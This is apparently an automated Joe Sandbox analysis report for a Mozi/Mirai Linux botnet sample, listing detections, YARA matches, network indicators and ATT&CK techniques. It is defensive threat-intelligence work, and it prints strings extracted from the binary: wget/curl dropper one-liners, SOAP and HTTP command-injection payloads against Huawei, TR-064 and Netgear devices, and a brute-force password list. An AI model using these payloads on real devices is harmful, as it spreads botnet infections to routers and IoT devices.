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Linux Analysis Report
Mozi.m.elf

Overview

General Information

Sample name:	Mozi.m.elf
Analysis ID:	1651019
MD5:	a418ef994dc1f9159012ea97c9d99834
SHA1:	aa6710a73df21e364d59785fc0d3f03b9783b880
SHA256:	caaff8c0f1d39424f4f3c55f5199bd709d78e343bc6050ed62d91bd6282df552
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	96
Range:	0 - 100

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample contains strings indicative of password brute-forcing capabilities

Sample contains strings that are potentially command strings

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Yara signature match

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1651019
Start date and time:	2025-03-28 11:03:26 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 22s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	Mozi.m.elf
Detection:	MAL
Classification:	mal96.troj.linELF@0/0@2/0

Runtime Messages

Command:	/tmp/Mozi.m.elf
PID:	5430
Exit Code:	135
Exit Code Info:
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

dash New Fork (PID: 5408, Parent: 3588)

rm (PID: 5408, Parent: 3588, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.23fD2FP8ru /tmp/tmp.RgLKVlZJ0J /tmp/tmp.5lf3Du1i2X

dash New Fork (PID: 5409, Parent: 3588)

cat (PID: 5409, Parent: 3588, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.23fD2FP8ru

dash New Fork (PID: 5410, Parent: 3588)

head (PID: 5410, Parent: 3588, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5411, Parent: 3588)

tr (PID: 5411, Parent: 3588, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5412, Parent: 3588)

cut (PID: 5412, Parent: 3588, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5413, Parent: 3588)

cat (PID: 5413, Parent: 3588, MD5: 7e9d213e404ad3bb82e4ebb2e1f2c1b3) Arguments: cat /tmp/tmp.23fD2FP8ru

dash New Fork (PID: 5414, Parent: 3588)

head (PID: 5414, Parent: 3588, MD5: fd96a67145172477dd57131396fc9608) Arguments: head -n 10

dash New Fork (PID: 5415, Parent: 3588)

tr (PID: 5415, Parent: 3588, MD5: fbd1402dd9f72d8ebfff00ce7c3a7bb5) Arguments: tr -d \\000-\\011\\013\\014\\016-\\037

dash New Fork (PID: 5416, Parent: 3588)

cut (PID: 5416, Parent: 3588, MD5: d8ed0ea8f22c0de0f8692d4d9f1759d3) Arguments: cut -c -80

dash New Fork (PID: 5417, Parent: 3588)

rm (PID: 5417, Parent: 3588, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.23fD2FP8ru /tmp/tmp.RgLKVlZJ0J /tmp/tmp.5lf3Du1i2X

Mozi.m.elf (PID: 5430, Parent: 5342, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/Mozi.m.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
Mozi.m.elf	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Mozi.m.elf	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
Mozi.m.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Mozi.m.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
Mozi.m.elf	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
Mozi.m.elf	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
Mozi.m.elf	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
5430.1.00007f26e4060000.00007f26e406a000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp	JoeSecurity_Mirai_5	Yara detected Mirai	Joe Security
5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp	Linux_Trojan_Mirai_5c62e6b2	unknown	unknown	0x3850e:$a: FF C1 83 F9 05 7F 14 48 63 C1 48 89 94 C4 00 01 00 00 FF C6 48
5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp	Linux_Trojan_Mirai_77137320	unknown	unknown	0x384f5:$a: 54 24 01 89 C7 31 F6 31 C9 48 89 A4 24 00 01 00 00 EB 1D 80 7A
5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp	Linux_Trojan_Mirai_ac253e4f	unknown	unknown	0x383b3:$a: 00 31 C9 EB 0A 6B C1 0A 0F BE D2 8D 4C 02 D0 8A 17 48 FF C7 8D
Process Memory Space: Mozi.m.elf PID: 5430	JoeSecurity_Mirai_9	Yara detected Mirai	Joe Security
Process Memory Space: Mozi.m.elf PID: 5430	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
Click to see the 4 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• AV Detection
• Spreading
• Networking
• System Summary
• Persistence and Installation Behavior
• Malware Analysis System Evasion
• Stealing of Sensitive Information
• Remote Access Functionality

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Mozi.m.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: Mozi.m.elf	Virustotal: Detection: 60%			Perma Link
Source: Mozi.m.elf	ReversingLabs: Detection: 52%

Source: Mozi.m.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Mozi.m.elf	String: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Mozi.m.elf	String: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'

Source: global traffic

TCP traffic: 192.168.2.13:48202 -> 185.125.190.26:443

Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: Mozi.m.elf	String found in binary or memory: http://%s:%d/Mozi.m
Source: Mozi.m.elf	String found in binary or memory: http://%s:%d/Mozi.m;
Source: Mozi.m.elf	String found in binary or memory: http://%s:%d/bin.sh
Source: Mozi.m.elf	String found in binary or memory: http://%s:%d/bin.sh;chmod
Source: Mozi.m.elf	String found in binary or memory: http://127.0.0.1
Source: Mozi.m.elf	String found in binary or memory: http://127.0.0.1sendcmd
Source: Mozi.m.elf	String found in binary or memory: http://HTTP/1.1
Source: Mozi.m.elf	String found in binary or memory: http://baidu.com/%s/%s/%d/%s/%s/%s/%s)
Source: Mozi.m.elf	String found in binary or memory: http://ipinfo.io/ip
Source: Mozi.m.elf	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: Mozi.m.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: Mozi.m.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: Mozi.m.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//

Source: unknown

Network traffic detected: HTTP traffic on port 48202 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown
Source: 5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 Author: unknown
Source: 5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 Author: unknown
Source: 5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f Author: unknown

Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: ..%s/%s/proc/haha/tmp/var/lib/dev/syscfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer URL "http://127.0.0.1"cfgtool set /mnt/jffs2/hw_ctree.xml InternetGatewayDevice.ManagementServer ConnectionRequestPassword "acsMozi"iptables -I INPUT -p tcp --destination-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 50023 -j DROPiptables -I OUTPUT -p tcp --source-port 35000 -j DROPiptables -I INPUT -p tcp --destination-port 7547 -j DROPiptables -I OUTPUT -p tcp --source-port 7547 -j DROPiptables -I INPUT -p tcp --dport 35000 -j DROPiptables -I INPUT -p tcp --dport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 50023 -j DROPiptables -I OUTPUT -p tcp --sport 35000 -j DROPiptables -I INPUT -p tcp --dport 7547 -j DROPiptables -I OUTPUT -p tcp --sport 7547 -j DROP/mnt/jffs2/Equip.sh%s%s%s%s#!/bin/sh/mnt/jffs2/wifi.sh/mnt/jffs2/WifiPerformance.shbusybox%255s %255s %255s %255s
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls\|head -n 1
Source: Initial sample	String containing 'busybox' found: /bin/busybox hexdump -e '16/1 "%c"' -n 52 /bin/ls
Source: Initial sample	String containing 'busybox' found: /bin/busybox cat /bin/ls\|more
Source: Initial sample	String containing 'busybox' found: "\x%02xsage:/bin/busybox cat /bin/ls\|head -n 1
Source: Initial sample	String containing 'busybox' found: dd bs=52 count=1 if=/bin/ls \|\| cat /bin/ls \|\| while read i; do echo $i; done < /bin/ls \|\| while read i; do echo $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox dd bs=52 count=1 if=/bin/ls \|\| /bin/busybox cat /bin/ls \|\| while read i; do printf $i; done < /bin/ls \|\| while read i; do printf $i; done < /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod 777 .i \|\| (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo '%s' %s .i; %s && /bin/busybox echo '%s'
Source: Initial sample	String containing 'busybox' found: ./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/bin.sh \|\|curl -O http://%s:%d/bin.sh \|\|/bin/busybox wget http://%s:%d/bin.sh;chmod 777 bin.sh \|\|(cp /bin/ls bix.sh;cat bin.sh>bix.sh;rm bin.sh;cp bix.sh bin.sh;rm bix.sh);sh bin.sh %s;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget;/bin/busybox echo -ne '%s'
Source: Initial sample	String containing 'busybox' found: ELF.r.c.x.k.p.s.6.m.l.4>>/bin/busybox chmod 777 .i \|\| (cp /bin/ls .j && cat .i>.j &&rm .i && cp .j .i &&rm .j)>.x/bin/busybox echo -ne '%s' %s .i; %s && /bin/busybox echo -en '%s'
Source: Initial sample	String containing 'busybox' found: me./.i %d %d %d %d %d;./Runn;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: nvalidailedncorrecteniedoodbyebad$ELFshelldvrdvswelcomesuccessmdm96259615-cdpF6connectedBCM#usernamepass>/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://%s:%d/i \|\|curl -O http://%s:%d/i \|\|/bin/busybox wget http://%s:%d/i;chmod 777 i \|\|(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '%s'
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g %s:%d -l /tmp/huawei -r /Mozi.m;chmod -x huawei;/tmp/huawei huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>

Source: Initial sample	String containing potential weak password found: admin
Source: Initial sample	String containing potential weak password found: default
Source: Initial sample	String containing potential weak password found: support
Source: Initial sample	String containing potential weak password found: service
Source: Initial sample	String containing potential weak password found: supervisor
Source: Initial sample	String containing potential weak password found: guest
Source: Initial sample	String containing potential weak password found: administrator
Source: Initial sample	String containing potential weak password found: 123456
Source: Initial sample	String containing potential weak password found: 54321
Source: Initial sample	String containing potential weak password found: password
Source: Initial sample	String containing potential weak password found: 12345
Source: Initial sample	String containing potential weak password found: admin1234

Source: Initial sample	Potential command found: GET /c HTTP/1.0
Source: Initial sample	Potential command found: GET %s HTTP/1.1
Source: Initial sample	Potential command found: GET /c
Source: Initial sample	Potential command found: GET /Mozi.6 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.7 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.c HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.m HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.x HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.a HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.s HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.r HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.b HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.4 HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.k HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.l HTTP/1.0
Source: Initial sample	Potential command found: GET /Mozi.p HTTP/1.0
Source: Initial sample	Potential command found: GET /%s HTTP/1.1
Source: Initial sample	Potential command found: GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0
Source: Initial sample	Potential command found: GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IF

Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: Mozi.m.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16
Source: 5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_5c62e6b2 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 39501003c45c89d6a08f71fbf9c442bcc952afc5f1a1eb7b5af2d4b7633698a8, id = 5c62e6b2-9f6a-4c6d-b3fc-c6cbc8cf0b4b, last_modified = 2021-09-16
Source: 5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_77137320 reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = afeedf7fb287320c70a2889f43bc36a3047528204e1de45c4ac07898187d136b, id = 77137320-6c7e-4bb8-81a4-bd422049c309, last_modified = 2021-09-16
Source: 5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ac253e4f reference_sample = 91642663793bdda93928597ff1ac6087e4c1e5d020a8f40f2140e9471ab730f9, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = e2eee1f72b8c2dbf68e57b721c481a5cd85296e844059decc3548e7a6dc28fea, id = ac253e4f-b628-4dd0-91f1-f19099286992, last_modified = 2021-09-16

Source: classification engine

Classification label: mal96.troj.linELF@0/0@2/0

Source: /usr/bin/dash (PID: 5408)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.23fD2FP8ru /tmp/tmp.RgLKVlZJ0J /tmp/tmp.5lf3Du1i2X			Jump to behavior
Source: /usr/bin/dash (PID: 5417)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.23fD2FP8ru /tmp/tmp.RgLKVlZJ0J /tmp/tmp.5lf3Du1i2X			Jump to behavior

Source: /tmp/Mozi.m.elf (PID: 5430)

Queries kernel information via 'uname':

Jump to behavior

Source: Mozi.m.elf, 5430.1.000055745ed7f000.000055745ee8b000.rw-.sdmp	Binary or memory string: ^tU!/etc/qemu-binfmt/arm
Source: Mozi.m.elf, 5430.1.000055745ed7f000.000055745ee8b000.rw-.sdmp	Binary or memory string: ^tUrg.qemu.gdb.arm.sys.regs">
Source: Mozi.m.elf, 5430.1.000055745ed7f000.000055745ee8b000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: Mozi.m.elf, 5430.1.00007ffeb297b000.00007ffeb299c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: Mozi.m.elf, 5430.1.00007ffeb297b000.00007ffeb299c000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/Mozi.m.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/Mozi.m.elf
Source: Mozi.m.elf, 5430.1.000055745ed7f000.000055745ee8b000.rw-.sdmp	Binary or memory string: rg.qemu.gdb.arm.sys.regs">

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: Mozi.m.elf, type: SAMPLE
Source: Yara match	File source: 5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5430.1.00007f26e4060000.00007f26e406a000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Mozi.m.elf PID: 5430, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: Mozi.m.elf, type: SAMPLE
Source: Yara match	File source: 5430.1.00007f26e4017000.00007f26e4058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5430.1.00007f26e4060000.00007f26e406a000.rw-.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Mozi.m.elf PID: 5430, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Command and Scripting Interpreter	1 Scripting	Path Interception	1 File Deletion	1 Brute Force	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Mozi.m.elf	60%	Virustotal		Browse
Mozi.m.elf	53%	ReversingLabs	Linux.Backdoor.Mirai
Mozi.m.elf	100%	Avira	EXP/ELF.Mirai.O

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://%s:%d/bin.sh;chmod	Mozi.m.elf	false	high
http://ipinfo.io/ip	Mozi.m.elf	false	high
http://schemas.xmlsoap.org/soap/encoding/	Mozi.m.elf	false	high
http://%s:%d/bin.sh	Mozi.m.elf	false	high
http://purenetworks.com/HNAP1/	Mozi.m.elf	false	high
http://%s:%d/Mozi.m;	Mozi.m.elf	false	high
http://schemas.xmlsoap.org/soap/envelope/	Mozi.m.elf	false	high
http://HTTP/1.1	Mozi.m.elf	false	high
http://127.0.0.1	Mozi.m.elf	false	high
http://baidu.com/%s/%s/%d/%s/%s/%s/%s)	Mozi.m.elf	false	high
http://schemas.xmlsoap.org/soap/envelope//	Mozi.m.elf	false	high
http://%s:%d/Mozi.m	Mozi.m.elf	false	high
http://127.0.0.1sendcmd	Mozi.m.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.125.190.26	unknown	United Kingdom		41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
185.125.190.26	sync.powerpc.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	na.elf	Get hash	malicious	Prometei	Browse
	SecuriteInfo.com.ELF.Mirai-AXV.27459.929.elf	Get hash	malicious	Unknown	Browse
	arm7.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	sshd.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	.i.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	bimbo-arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	resgod.x86.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
